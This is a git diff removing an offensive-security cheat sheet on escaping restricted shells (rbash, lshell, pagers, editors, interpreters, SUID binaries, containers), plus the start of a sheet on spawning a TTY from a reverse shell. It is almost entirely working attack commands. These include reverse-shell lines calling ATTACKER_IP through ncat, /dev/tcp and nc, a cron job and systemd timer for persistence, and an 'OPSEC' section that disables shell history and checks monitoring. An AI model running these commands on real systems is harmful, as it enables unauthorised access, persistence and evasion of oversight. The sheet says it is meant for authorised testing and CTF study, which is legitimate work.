-│ Try: vi → :!/bin/bash │
-├── Is it chroot? ─────────────────────────────────────┤
-│ YES → Check for /bin/bash inside chroot │
-│ Mount real root if possible │
-│ Nested chroot escape with Python (needs root) │
-└──────────────────────────────────────────────────────┘
-```
-
----
-
-## Restricted Shell Escape - SSH pre-login
-
-```bash
-ssh user@host -t "/bin/bash"
-```
-
-Bypasses restricted shell by specifying bash directly with PTY allocation before login shell loads.
-
-```bash
-ssh user@host -t "/bin/sh"
-```
-
-Spawns sh shell directly via SSH before restricted shell initialization.
-
-```bash
-ssh user@host -t "bash --noprofile"
-```
-
-Skips profile files (/etc/profile, ~/.bash_profile) to bypass restrictions.
-
-```bash
-ssh user@host -t "bash --norc"
-```
-
-Skips ~/.bashrc to avoid restricted shell configuration.
-
-```bash
-ssh user@host -t "bash --noprofile --norc"
-```
-
-Skips both profile and rc files for maximum bypass coverage.
-
-```bash
-ssh user@host -t '() { :; }; /bin/bash'
-```
-
-Exploits Shellshock vulnerability (CVE-2014-6271) to execute bash via malformed environment variable.
-
----
-
-## Restricted Shell Escape - SSH configuration
-
-```bash
-ssh -o RequestTTY=yes user@host
-```
-
-Forces PTY allocation equivalent to -t flag for interactive shell.
-
-```bash
-ssh -o PermitLocalCommand=yes -o LocalCommand="/bin/bash" user@host
-```
-
-Executes command on local machine after SSH connection establishes.
-
-```bash
-ssh -o RemoteCommand="/bin/bash" user@host
-```
-
-Executes command on remote side after authentication bypassing restricted shell.
-
-```bash
-ssh -o ProxyCommand='; /bin/bash' user@host
-```
-
-Abuses ProxyCommand by injecting shell metacharacters to spawn shell.
-
----
-
-## Restricted Shell Escape - vi/vim editors
-
-```bash
-:!bash
-```
-
-From within vi/vim, executes bash shell command.
-
-```bash
-:!/bin/bash
-```
-
-Spawns bash with full path from vi/vim command mode.
-
-```bash
-:!/bin/sh
-```
-
-Spawns sh shell from vi/vim for compatibility.
-
-```bash
-:set shell=/bin/bash
-```
-
-Changes vi/vim shell interpreter to bash.
-
-```bash
-:shell
-```
-
-Spawns subshell using vi/vim's configured shell.
-
-```bash
-:python import os; os.system('/bin/bash')
-```
-
-Executes Python code from vim to spawn bash (requires +python feature).
-
-```bash
-:py import os; os.system('/bin/bash')
-```
-
-Shorter Python syntax for spawning bash from vim.
-
-```bash
-:lua os.execute('/bin/bash')
-```
-
-Executes Lua code from vim to spawn bash (requires +lua feature).
-
-```bash
-:!python3 -c 'import pty;pty.spawn("/bin/bash")'
-```
-
-Spawns a full PTY bash shell directly from vim command mode.
-
----
-
-## Restricted Shell Escape - ed/emacs/nano editors
-
-```bash
-ed
-!bash
-```
-
-From ed editor, executes bash shell command.
-
-```bash
-emacs -Q -nw --eval '(term "/bin/sh")'
-```
-
-Spawns terminal emulator running sh from emacs using Lisp eval.
-
-```bash
-emacs -Q -nw --eval '(shell)'
-```
-
-Opens a shell buffer in emacs using the default shell.
-
-```bash
-nano
-^R ^X
-reset; bash 1>&0 2>&0
-```
-
-From nano, reads command output to achieve RCE in specific scenarios.
-
----
-
-## Restricted Shell Escape - pagers (less/more/man)
-
-```bash
-less /etc/profile
-!/bin/bash
-```
-
-From less pager, executes bash shell command while viewing file.
-
-```bash
-more /etc/profile
-!/bin/bash
-```
-
-From more pager, spawns bash shell during file viewing.
-
-```bash
-man ls
-!/bin/bash
-```
-
-From man page viewer, executes bash (man uses less/more as pager).
-
-```bash
-journalctl
-!/bin/sh
-```
-
-From journalctl output, spawns shell via less pager invoked by journalctl.
-
-```bash
-systemctl status sshd
-!/bin/sh
-```
-
-From systemctl status output, escapes via less pager.
-
-```bash
-git log
-!/bin/sh
-```
-
-From git log output, spawns shell through less pager.
-
-```bash
-apt-get changelog apt
-!/bin/sh
-```
-
-From apt-get changelog, escapes via less pager showing package changelog.
-
-```bash
-less /etc/profile
-v
-```
-
-From less, pressing `v` opens the current file in the default editor (may be vi), from which you can escape further.
-
----
-
-## Restricted Shell Escape - Python
-
-```bash
-python3 -c 'import os; os.system("/bin/bash")'
-```
-
-Executes bash using Python's os.system() method.
-
-```bash
-python -c 'import os; os.system("/bin/bash")'
-```
-
-Python 2 version of os.system() shell execution.
-
-```bash
-python3 -c 'import subprocess; subprocess.call(["/bin/bash"])'
-```
-
-Spawns bash using Python's subprocess module.
-
-```bash
-python3 -c 'import pty; pty.spawn("/bin/bash")'
-```
-
-Creates interactive PTY with bash using Python's pty module.
-
-```bash
-python3
->>> import os
->>> os.system('/bin/bash')
-```
-
-From Python REPL, spawns bash interactively.
-
-```bash
-python3 -c 'import os; os.execvp("/bin/bash", ["bash"])'
-```
-
-Replaces the Python process entirely with bash using execvp.
-
----
-
-## Restricted Shell Escape - Ruby/Perl/Lua/AWK
-
-```bash
-ruby -e 'exec "/bin/bash"'
-```
-
-Replaces Ruby process with bash shell.
-
-```bash
-irb
-> exec '/bin/bash'
-```
-
-From Ruby REPL, replaces process with bash.
-
-```bash
-perl -e 'exec "/bin/bash";'
-```
-
-Executes bash from Perl one-liner.
-
-```bash
-lua -e 'os.execute("/bin/bash")'
-```
-
-Spawns bash using Lua's os.execute() function.
-
-```bash
-awk 'BEGIN {system("/bin/bash")}'
-```
-
-Executes bash from AWK BEGIN block.
-
-```bash
-php -r 'system("/bin/bash");'
-```
-
-Runs bash using PHP's system() function.
-
-```bash
-node -e 'require("child_process").spawn("/bin/bash", {stdio: "inherit"})'
-```
-
-Spawns bash from Node.js with inherited stdio for interactivity.
-
-```bash
-wish
-exec /bin/bash &
-```
-
-From Tcl/Tk wish interpreter, executes bash.
-
----
-
-## Restricted Shell Escape - find
-
-```bash
-find / -name "*.txt" -exec /bin/sh \; -quit
-```
-
-Uses find's -exec to spawn sh shell, quits after first match.
-
-```bash
-find . -exec /bin/bash \; -quit
-```
-
-Spawns bash using find in current directory.
-
-```bash
-find / -name somefile -exec /bin/bash -i \;
-```
-
-Executes interactive bash for each file found by find.
-
----
-
-## Restricted Shell Escape - tar
-
-```bash
-tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/sh
-```
-
-Abuses tar checkpoint feature to execute sh after processing each file.
-
-```bash
-tar xf /dev/null -I '/bin/sh'
-```
-
-Specifies sh as "compression program" via -I flag to spawn shell.
-
-```bash
-tar xf archive.tar -I '/bin/sh -c "exec sh 0<&1"'
-```
-
-Uses -I flag with redirected file descriptors to maintain interactive shell.
-
----
-
-## Restricted Shell Escape - zip/unzip
-
-```bash
-TF=$(mktemp -u)
-zip $TF /etc/hosts -T -TT 'sh #'
-rm $TF
-```
-
-Abuses zip's test feature (-T -TT) to inject and execute sh command.
-
----
-
-## Restricted Shell Escape - gcc/compilers
-
-```bash
-gcc -wrapper /bin/sh,-s .
-```
-
-Abuses gcc's -wrapper flag to execute sh as compiler wrapper.
-
-```bash
-gcc -wrapper /bin/bash,-s .
-```
-
-Uses bash as gcc wrapper to spawn shell.
-
-```bash
-g++ -wrapper /bin/sh,-s .
-```
-
-Uses g++ wrapper feature to execute sh shell.
-
----
-
-## Restricted Shell Escape - scp
-
-```bash
-TF=$(mktemp)
-echo '/bin/sh 0<&2 1>&2' > $TF
-chmod +x $TF
-scp -S $TF x y:
-```
-
-Abuses scp's -S flag to specify malicious script as ssh replacement.
-
-```bash
-scp -F /etc/passwd x y:
-```
-
-Uses -F flag to read arbitrary file (displays config file parsing).
-
----
-
-## Restricted Shell Escape - ftp/gdb/rpm
-
-```bash
-ftp
-ftp> !sh
-```
-
-From FTP client, executes sh shell command.
-
-```bash
-ftp
-ftp> !/bin/bash
-```
-
-Spawns bash from FTP client using ! escape.
-
-```bash
-gdb -nx -ex '!sh' -ex quit
-```
-
-Executes sh from GDB using -ex flag without loading .gdbinit.
-
-```bash
-gdb
-(gdb) !sh
-```
-
-From GDB prompt, spawns sh shell.
-
-```bash
-rpm --eval '%{lua:os.execute("/bin/sh")}'
-```
-
-Evaluates Lua code in RPM to execute sh shell.
-
----
-
-## Restricted Shell Escape - nmap
-
-```bash
-nmap --interactive
-nmap> !sh
-```
-
-Uses deprecated nmap interactive mode to spawn sh (only works on nmap <7.25).
-
-```bash
-nmap --interactive
-nmap> !bash
-```
-
-Spawns bash from nmap interactive mode on older versions.
-
-```bash
-echo 'os.execute("/bin/bash")' > /tmp/nse.nse && nmap --script=/tmp/nse.nse
-```
-
-Writes a custom NSE (Lua) script that spawns bash, then executes it. Works on modern nmap versions.
-
----
-
-## Restricted Shell Escape - rsync
-
-```bash
-rsync -e '/bin/sh -c "exec /bin/sh 0<&2 1>&2"' 127.0.0.1:/dev/null
-```
-
-Abuses rsync's -e flag to specify sh as remote shell with redirected file descriptors.
-
-```bash
-rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
-```
-
-Shorter syntax for rsync shell escape with maintained interactivity.
-
----
-
-## Restricted Shell Escape - tcpdump
-
-```bash
-COMMAND='/bin/sh'
-TF=$(mktemp)
-echo "$COMMAND" > $TF
-chmod +x $TF
-tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
-```
-
-Abuses tcpdump's -z postrotate command feature to execute script after capture rotation.
-
----
-
-## Restricted Shell Escape - package managers
-
-```bash
-apt-get changelog apt
-!/bin/sh
-```
-
-From apt-get changelog pager, spawns sh shell.
-
-```bash
-TF=$(mktemp)
-echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
-sudo apt-get install -c $TF sl
-```
-
-Abuses APT Dpkg Pre-Invoke hook to execute sh during package installation.
-
-```bash
-sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
-```
-
-Uses APT Update Pre-Invoke option to spawn sh shell.
-
-```bash
-cpan
-! exec '/bin/bash'
-```
-
-From CPAN Perl package manager, executes bash using ! escape.
-
-```bash
-gem open -e "/bin/sh -c /bin/sh" rdoc
-```
-
-Abuses gem's editor flag to specify sh as "editor" for opening gems.
-
-```bash
-pip install --pre --no-clean --log /tmp/pip.log /tmp/ 2>&1; /bin/bash
-```
-
-Chained pip failure with bash execution (context-dependent).
-
----
-
-## Restricted Shell Escape - database clients
-
-```bash
-mysql -e '\! /bin/sh'
-```
-
-From MySQL command line, executes sh using ! escape.
-
-```bash
-mysql
-mysql> \! /bin/bash
-```
-
-Spawns bash from MySQL interactive prompt.
-
-```bash
-psql
-psql=> \! /bin/bash
-```
-
-Executes bash from PostgreSQL client using ! escape.
-
-```bash
-sqlite3
-sqlite> .shell /bin/bash
-```
-
-Spawns bash from SQLite3 using .shell command.
-
-```bash
-redis-cli
-127.0.0.1:6379> EVAL 'return os.execute("/bin/bash")' 0
-```
-
-Evaluates Lua code in Redis to execute bash.
-
-```bash
-mongo
-> db.eval('os.execute("/bin/bash")')
-```
-
-Executes JavaScript in MongoDB to spawn bash.
-
----
-
-## Restricted Shell Escape - systemd tools
-
-```bash
-systemd-run -t /bin/bash
-```
-
-Creates transient systemd service running bash with TTY allocation.
-
-```bash
-sudo systemd-run -t /bin/bash
-```
-
-Creates privileged transient service running bash.
-
-```bash
-nsenter -t 1 -m -u -i -n /bin/sh
-```
-
-Enters PID 1's namespaces (mount, UTS, IPC, network) to escape restrictions.
-
-```bash
-sudo nsenter -t 1 -m -u -i -n /bin/bash
-```
-
-Enters PID 1's namespaces with bash as privileged user.
-
-```bash
-unshare -r /bin/bash
-```
-
-Creates new user namespace with root mapping and spawns bash.
-
-```bash
-unshare /bin/bash
-```
-
-Creates new namespaces and spawns bash for sandbox escape.
-
----
-
-## Restricted Shell Escape - container tools
-
-```bash
-docker run -v /:/mnt --rm -it alpine chroot /mnt sh
-```
-
-Mounts host root filesystem in container and chroots to it for host escape.
-
-```bash
-docker run -v /:/hostfs --rm -it alpine /bin/sh
-```
-
-Mounts host filesystem to /hostfs in container for full host access.
-
-```bash
-kubectl run -it --rm --restart=Never alpine --image=alpine -- sh
-```
-
-Creates temporary Kubernetes pod with alpine image and spawns interactive sh.
-
-```bash
-kubectl run -it --rm --restart=Never busybox --image=busybox -- sh
-```
-
-Creates busybox pod in Kubernetes for interactive shell access.
-
-```bash
-docker exec -it <CONTAINER_ID> /bin/bash
-```
-
-Attaches to a running container for interactive shell access.
-
----
-
-## Restricted Shell Escape - scheduling tools
-
-```bash
-echo "/bin/sh" | at now
-```
-
-Schedules sh execution immediately using at command.
-
-```bash
-echo "/bin/sh" | at now + 1 minute
-```
-
-Schedules sh execution in 1 minute to bypass restrictions.
-
-```bash
-watch -x sh -c 'reset; exec sh 1>&0 2>&0'
-```
-
-Uses watch to repeatedly execute sh with redirected file descriptors.
-
-```bash
-echo "/bin/sh" | xargs -I {} sh -c {}
-```
-
-Pipes sh invocation through xargs for execution.
-
-```bash
-timeout --foreground 86400 /bin/bash
-```
-
-Uses timeout to execute bash with a long timeout, bypassing restrictions on direct execution.
-
----
-
-## Restricted Shell Escape - debugging tools
-
-```bash
-strace -e 'trace=!all' -o /dev/null /bin/sh
-```
-
-Uses strace to execute sh while disabling trace output for performance.
-
-```bash
-ltrace -b -e 'malloc' /bin/sh
-```
-
-Uses ltrace to execute sh while tracing minimal library calls.
-
-```bash
-valgrind /bin/bash
-```
-
-Uses Valgrind to execute bash (noisy output but functional shell).
-
----
-
-## Restricted Shell Escape - git-shell
-
-```bash
-git help config
-!/bin/sh
-```
-
-From git help pager, spawns sh shell.
-
-```bash
-git config core.pager '/bin/sh -c "/bin/sh 0<&1"'
-git log
-```
-
-Sets git pager to sh and triggers via git log.
-
-```bash
-export GIT_PAGER='/bin/sh'
-git log
-```
-
-Overrides git pager via environment variable to spawn sh.
-
-```bash
-PAGER='sh' git -p help
-```
-
-Sets PAGER inline for git help command to spawn sh.
-
----
-
-## Restricted Shell Escape - browser-based
-
-```bash
-lynx
-# Press 'o' for options, set editor to /bin/vi
-# Edit textbox, then from vi: :!/bin/bash
-```
-
-From lynx browser, sets editor to vi then escapes from vi to bash.
-
-```bash
-export EDITOR=/bin/vi
-elinks
-# Edit text field (e key), then from vi: :!/bin/bash
-```
-
-Sets EDITOR variable for elinks to use vi for escaping to bash.
-
-```bash
-export VISUAL=/bin/vi
-mail -s subject user@mail.com
-# Type message, then ~v to invoke editor
-# From vi: :!/bin/bash
-```
-
-Uses mail command with VISUAL variable to invoke vi then escape to bash.
-
----
-
-## Restricted Shell Escape - telnet
-
-```bash
-telnet
-telnet> !/bin/bash
-```
-
-From telnet client, executes bash using ! escape.
-
-```bash
-telnet
-^]
-telnet> !sh
-```
-
-Uses Ctrl+] to reach telnet prompt then spawns sh.
-
----
-
-## Restricted Shell Escape - top
-
-```bash
-echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >> ~/.config/procps/toprc
-top
-# Press 'x'
-```
-
-Modifies top config to bind sh execution to 'x' key.
-
-```bash
-echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >> ~/.toprc
-top
-# Press 'x'
-```
-
-Legacy top config modification for older systems to bind sh to key.
-
----
-
-## Restricted Shell Escape - ncat
-
-```bash
-ncat -lvnp 4444 --sh-exec /bin/bash
-```
-
-Creates ncat listener that executes bash via sh -c wrapper.
-
-```bash
-ncat -lvnp 4444 -e /bin/bash
-```
-
-Ncat listener that directly executes bash for connections.
-
-```bash
-ncat -lvnp 4444 -c /bin/bash
-```
-
-Ncat listener using -c flag to execute bash via shell.
-
-```bash
-ncat ATTACKER_IP 4444 -e /bin/bash
-```
-
-Connects to listener and executes bash for reverse shell.
-
----
-
-## Restricted Shell Escape - ld.so
-
-```bash
-/lib64/ld-linux-x86-64.so.2 /bin/bash
-```
-
-Directly invokes 64-bit dynamic linker to execute bash bypassing shell restrictions.
-
-```bash
-/lib/x86_64-linux-gnu/ld-2.27.so /bin/bash
-```
-
-Alternative 64-bit dynamic linker path for Debian/Ubuntu systems.
-
-```bash
-/lib/ld-linux.so.2 /bin/bash
-```
-
-32-bit dynamic linker invocation to spawn bash.
-
-```bash
-/lib/i386-linux-gnu/ld-2.27.so /bin/bash
-```
-
-Alternative 32-bit dynamic linker path for Debian/Ubuntu systems.
-
-```bash
-/lib64/ld-linux-x86-64.so.2 /usr/bin/python3 -c 'import os;os.system("/bin/bash")'
-```
-
-Chains dynamic linker with Python execution for double bypass.
-
----
-
-## Restricted Shell Escape - busybox
-
-```bash
-busybox sh
-```
-
-Invokes sh applet from busybox multi-call binary.
-
-```bash
-busybox bash
-```
-
-Attempts to invoke bash from busybox (if available).
-
-```bash
-/bin/busybox sh
-```
-
-Full path invocation of busybox sh applet.
-
-```bash
-busybox ash
-```
-
-Invokes ash (Almquist shell) from busybox, the default interactive shell on many embedded systems.
-
----
-
-## Restricted Shell Escape - screen/tmux
-
-```bash
-screen -ls
-```
-
-Lists existing screen sessions that may provide shell access.
-
-```bash
-screen -x [session]
-```
-
-Attaches to existing screen session (may have unrestricted shell).
-
-```bash
-screen -r [session]
-```
-
-Resumes detached screen session.
-
-```bash
-tmux ls
-```
-
-Lists tmux sessions for potential attachment.
-
-```bash
-tmux attach
-```
-
-Attaches to last tmux session.
-
-```bash
-tmux attach -t [name]
-```
-
-Attaches to specific named tmux session.
-
-```bash
-screen
-```
-
-Simply launching screen may give an unrestricted shell if screen itself isn't restricted.
-
----
-
-## Restricted Shell Escape - environment variables
-
-```bash
-export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
-```
-
-Restores full PATH to enable command execution by name.
-
-```bash
-export PATH=/usr/bin:/bin
-```
-
-Minimal PATH restoration for basic command access.
-
-```bash
-export SHELL=/bin/bash
-$SHELL
-```
-
-Sets and executes SHELL variable to spawn bash.
-
-```bash
-export PROMPT_COMMAND="/bin/bash"
-```
-
-Sets PROMPT_COMMAND to execute bash before each prompt.
-
-```bash
-export BASH_CMDS[sh]=/bin/bash
-sh
-```
-
-Maps 'sh' command to bash in command hash table.
-
-```bash
-export LD_PRELOAD=/tmp/evil.so
-/bin/any_program
-```
-
-Preloads malicious shared library that spawns shell in constructor.
-
-```bash
-/bin/bash <&0 >&0 2>&0
-```
-
-Spawns bash with all file descriptors redirected to maintain interactivity.
-
-```bash
-export ENV=/tmp/shellscript
-sh
-```
-
-Sets ENV variable to a script that runs when sh starts (for non-login shells).
-
----
-
-## Restricted Shell Escape - chroot/mount
-
-```bash
-mkdir /tmp/subroot
-cd /tmp/subroot
-python -c 'import os; os.chroot("."); [os.chdir("..") for i in range(100)]; os.chroot("."); os.system("/bin/bash")'
-```
-
-Nested chroot technique to escape chroot jail using Python (requires root inside chroot).
-
-```bash
-mkdir /mnt/real_root
-mount /dev/sda1 /mnt/real_root
-chroot /mnt/real_root /bin/bash
-```
-
-Mounts real root device and chroots to it for jail escape (requires root and device knowledge).
-
----
-
-## Restricted Shell Escape - rbash-specific
-
-```bash
-cp /bin/bash .
-./bash
-```
-
-Copies bash to local directory and executes to bypass PATH restrictions.
-
-```bash
-python -c 'import os; os.system("/bin/bash")'
-```
-
-Uses Python to spawn bash bypassing rbash command restrictions.
-
-```bash
-compgen -c
-```
-
-Lists available commands in restricted bash environment.
-
-```bash
-echo /bin/*
-```
-
-Lists /bin contents without cd using echo and wildcards.
-
-```bash
-vim
-:set shell=/bin/bash
-:shell
-```
-
-From vim, changes shell and spawns it to bypass rbash.
-
-```bash
-bash -r
-# This is what rbash is. Restrictions include:
-# - Cannot cd
-# - Cannot change PATH, SHELL, ENV, BASH_ENV
-# - Cannot use / in commands
-# - Cannot redirect output (>, >>)
-# - Cannot use exec
-# Test all of these to find what's actually enforced.
-```
-
----
-
-## Restricted Shell Escape - lshell-specific
-
-```bash
-echo os.system('/bin/bash')
-```
-
-Injects Python code via echo in lshell (Python-based restricted shell).
-
-```bash
-python -c 'import os; os.system("/bin/bash")'
-```
-
-Directly executes Python to spawn bash bypassing lshell.
-
-```bash
-help
-!/bin/bash
-```
-
-From lshell help pager, spawns bash via ! escape.
-
----
-
-## Restricted Shell Escape - kshell/rksh-specific
-
-```bash
-# Check if running restricted ksh
-echo $0
-# If rksh or ksh -r:
-
-# Try overriding PATH (may work in some versions)
-PATH=/bin:/usr/bin
-export PATH
-/bin/bash
-
-# Try the EDITOR trick
-EDITOR=/bin/bash
-fc -e "${EDITOR}"
-
-# Use command substitution
-$(bash)
-```
-
-rksh-specific escapes exploiting the EDITOR variable and fc (fix command) builtin.
-
----
-
-## Restricted Shell Escape - command enumeration
-
-```bash
-compgen -c
-```
-
-Lists all available commands in current PATH.
-
-```bash
-echo *
-```
-
-Lists files in current directory without using ls.
-
-```bash
-echo /bin/*
-```
-
-Lists /bin directory contents using wildcard expansion.
-
-```bash
-echo /usr/bin/*
-```
-
-Lists /usr/bin contents without cd or ls.
-
-```bash
-printf '%s\n' *
-```
-
-Alternative file listing method using printf and wildcards.
-
-```bash
-which python python3 perl ruby lua node php
-```
-
-Checks for available scripting language interpreters.
-
-```bash
-env
-```
-
-Displays environment variables and their values.
-
-```bash
-set
-```
-
-Shows all shell variables and functions.
-
-```bash
-export
-```
-
-Lists exported environment variables.
-
-```bash
-cat /etc/shells
-```
-
-Lists all valid login shells on the system.
-
-```bash
-file /usr/bin/* 2>/dev/null | grep -i 'elf\|script\|executable'
-```
-
-Identifies binary types in /usr/bin to find useful executables.
-
----
-
-## Restricted Shell Escape - redirect workarounds
-
-```bash
-echo "data" | tee filename
-```
-
-Writes to file using tee instead of > redirect.
-
-```bash
-python -c 'open("file","w").write("data")'
-```
-
-Writes file using Python when output redirection is blocked.
-
-```bash
-perl -e 'open(F,">file"); print F "data"; close(F);'
-```
-
-Writes file using Perl when redirects are unavailable.
-
-```bash
-while read line; do echo $line; done < file
-```
-
-Reads file using while loop when cat is blocked.
-
-```bash
-dd of=filename <<< "data"
-```
-
-Writes data to file using dd and herestring.
-
-```bash
-cp /dev/stdin filename
-```
-
-Copies stdin to a file (type content, then Ctrl+D).
-
----
-
-## Restricted Shell Escape - cron/systemd timers
-
-```bash
-# Check if you can write crontabs
-crontab -l
-crontab -e
-
-# If you can edit crontab:
-# Add: * * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
-
-# Check for writable cron directories
-ls -la /etc/cron.d/ /etc/cron.daily/ /var/spool/cron/
-```
-
-Cron-based escape by scheduling a reverse shell or unrestricted command.
-
-```bash
-# Systemd timer abuse (if you can create user timers)
-mkdir -p ~/.config/systemd/user/
-cat > ~/.config/systemd/user/escape.service << 'EOF'
-[Service]
-ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
-EOF
-cat > ~/.config/systemd/user/escape.timer << 'EOF'
-[Timer]
-OnCalendar=*:*:00
-[Install]
-WantedBy=timers.target
-EOF
-systemctl --user daemon-reload
-systemctl --user start escape.timer
-```
-
-Creates a user-level systemd timer that fires a reverse shell every minute.
-
----
-
-## Restricted Shell Escape - setuid/capabilities abuse
-
-```bash
-# Find SUID binaries
-find / -perm -4000 -type f 2>/dev/null
-
-# Find binaries with capabilities
-getcap -r / 2>/dev/null
-
-# Common SUID escapes (check GTFOBins for each):
-# /usr/bin/find, /usr/bin/vim, /usr/bin/env, /usr/bin/awk
-# /usr/bin/nmap, /usr/bin/python3, /usr/bin/perl
-
-# env with SUID:
-/usr/bin/env /bin/bash -p
-
-# find with SUID:
-find . -exec /bin/bash -p \; -quit
-
-# python3 with SUID:
-python3 -c 'import os; os.execvp("/bin/bash", ["bash", "-p"])'
-
-# Capabilities escape (e.g., cap_setuid):
-python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
-```
-
-Locating and abusing SUID binaries and Linux capabilities to escape restrictions and escalate.
-
----
-
-## OPSEC Considerations
-
-```bash
-export HISTFILE=/dev/null
-```
-
-Disables shell history logging by redirecting to /dev/null.
-
-```bash
-unset HISTFILE
-```
-
-Removes HISTFILE variable to prevent history logging.
-
-```bash
-set +o history
-```
-
-Disables history feature in current shell session.
-
-```bash
-export HISTSIZE=0
-```
-
-Sets history buffer size to 0, preventing storage in memory.
-
-```bash
-kill -STOP $$
-```
-
-Backgrounds current shell without using Ctrl+Z job control.
-
-```bash
-reset
-```
-
-Restores terminal to normal mode after stty raw failure.
-
-```bash
-stty sane
-```
-
-Resets terminal to sane state after raw mode issues.
-
-```bash
-ps aux | grep -i 'audit\|log\|monitor'
-```
-
-Checks for audit and monitoring processes.
-
-```bash
-who
-```
-
-Shows currently logged-in users for situational awareness.
-
-```bash
-w
-```
-
-Displays who is logged in and what they are doing.
-
-```bash
-cat /var/log/auth.log 2>/dev/null | tail -5
-```
-
-Checks recent authentication log entries for your activity.
-
-```bash
-loginctl list-sessions
-```
-
-Lists active login sessions via systemd.
-
-```bash
-cat /proc/self/cgroup 2>/dev/null
-```
-
-Checks if you're inside a container (useful for container escape decisions).
-
----
-
-## Quick Decision Matrix
-
-|Situation|First try|Second try|Third try|
-|---|---|---|---|
-|Python available|`python3 -c 'import pty;pty.spawn("/bin/bash")'` + stty workflow|socat via upload|script|
-|No Python, has script|`script -qc /bin/bash /dev/null` + stty workflow|Perl exec|expect|
-|Nothing obvious|`which python3 perl ruby lua` then use first hit|`/lib64/ld-linux-x86-64.so.2 /bin/bash`|busybox sh|
-|rbash|`vi` → `:set shell=/bin/bash` → `:shell`|`ssh user@localhost -t /bin/bash`|`BASH_CMDS[sh]=/bin/bash; sh`|
-|lshell|`echo os.system('/bin/bash')`|`help` → `!/bin/bash`|python directly|
-|Chroot jail (as root)|Mount real root + chroot|Nested chroot escape|Check for capabilities|
-|Container (as root)|Mount host FS via docker socket|nsenter PID 1|Check for capabilities|
-|Windows (PowerShell)|ConPtyShell|Meterpreter upgrade|rlwrap + powershell|
-|Only nc on target|`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f\|bash -i 2>&1\|nc ATTACKER PORT>/tmp/f`|Upload socat static binary|Upload ncat|
-
----
-
-## References
-
-1. [GTFOBins](https://gtfobins.github.io/)
-2. [0xffsec Handbook - Restricted Shells](https://0xffsec.com/handbook/shells/restricted-shells/)
-3. [HackTricks - Escaping from Limited Bash](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/escaping-from-limited-bash)
-4. [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
-5. [Pentestmonkey Reverse Shell Cheat Sheet](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
-6. [IppSec TTY Upgrade Video](https://www.youtube.com/watch?v=DLzxrzFCOe0)
-7. [Static Binaries Repository](https://github.com/andrew-d/static-binaries)
-8. [ConPtyShell (antonioCoco)](https://github.com/antonioCoco/ConPtyShell)
-9. [LOLBAS Project (Windows)](https://lolbas-project.github.io/)
-10. [WADComs - Interactive Cheat Sheet](https://wadcoms.github.io/)
-
-#linux #shells #tty-upgrade #restricted-shell #privilege-escalation #post-exploitation #rbash #lshell #ssh #gtfobins #opsec #container-escape
diff --git a/src/content/sheets/exploitation/tty-and-escaping-restricted-env.md b/src/content/sheets/exploitation/tty-and-escaping-restricted-env.md
@@ -1,810 +0,0 @@
----
-title: "TTY and Escaping Restricted Env"
-description: "After catching a dumb reverse shell (e.g. via netcat), you'll have no job control, no tab completion, no arrow keys, and commands like su and ssh won't…"
-category: exploitation
-tags: ["exploitation", "adcs"]
-tools: ["Nmap", "Metasploit", "socat", "PowerShell"]
-difficulty: intermediate
-updated: "2026-08-10"
-source: "vault:Exploitation/TTY and Escaping Restricted Env.md"
----
-# Interactive Shells & Restricted Shell Escapes — Cheat Sheet
-
-> A comprehensive reference for spawning interactive TTY shells from dumb/reverse shells, upgrading them to fully interactive terminals, and escaping restricted shell environments (rbash, rksh, rzsh, lshell, rssh).
-> For use in authorised penetration testing, CTFs, and lab environments only.
-
----
-
-## Table of Contents
-
-- #1. Spawning a TTY Shell
-- #2. Upgrading to a Fully Interactive TTY
-- #3. Listener Setup (Attacker Side)
-- #4. Escaping Restricted Shells
-- #5. Windows Interactive Shells
-- #6. Quick Reference
-
----
-
-## 1. Spawning a TTY Shell
-
-After catching a dumb reverse shell (e.g. via netcat), you'll have no job control, no tab completion, no arrow keys, and commands like `su` and `ssh` won't work. The first step is spawning a PTY/TTY.
-
-> [!tip] Check if you have a TTY
-> Run `tty` — if the output is `not a tty`, you need to spawn one.
-
-### Python (Most Common)
-
-```bash
-# Python 3
-python3 -c 'import pty; pty.spawn("/bin/bash")'
-
-# Python 2
-python -c 'import pty; pty.spawn("/bin/bash")'
-
-# Alternative (shorter import)
-python3 -c "__import__('pty').spawn('/bin/bash')"
-
-# Using subprocess
-python3 -c "__import__('subprocess').call(['/bin/bash'])"
-```
-
-### Script Command
-
-Works on most Linux systems even when Python is absent. This is often overlooked but very reliable.
-
-```bash
-# Best method — works almost everywhere
-/usr/bin/script -qc /bin/bash /dev/null
-
-# Alternative
-script /dev/null -c bash
-```
-
-### Perl
-
-```bash
-perl -e 'exec "/bin/bash";'
-
-# Alternative
-perl -e 'system("/bin/bash");'
-
-# From within a Perl interpreter
-exec "/bin/sh";
-```
-
-### Ruby
-
-```bash
-ruby -e 'exec "/bin/bash"'
-
-# From within IRB
-exec "/bin/sh"
-```
-
-### Lua
-
-```bash
-lua -e 'os.execute("/bin/bash")'
-
-# Alternative
-lua5.1 -e 'os.execute("/bin/sh")'
-```
-
-### Awk
-
-```bash
-awk 'BEGIN {system("/bin/bash")}'
-```
-
-### Find
-
-```bash
-find / -exec /bin/bash \; -quit
-
-# Alternative
-find . -exec /bin/sh \; -quit
-```
-
-### Nmap (Legacy — pre-2009 versions only)
-
-```bash
-# Interactive mode (nmap versions before r17131 / May 2009)
-nmap --interactive
-!sh
-```
-
-### Expect
-
-```bash
-expect -c 'spawn /bin/bash; interact'
-```
-
-Or create a script:
-
-```expect
-#!/usr/bin/expect
-spawn /bin/sh
-interact
-```
-
-### Direct Shell Invocation
-
-```bash
-/bin/sh -i
-/bin/bash -i
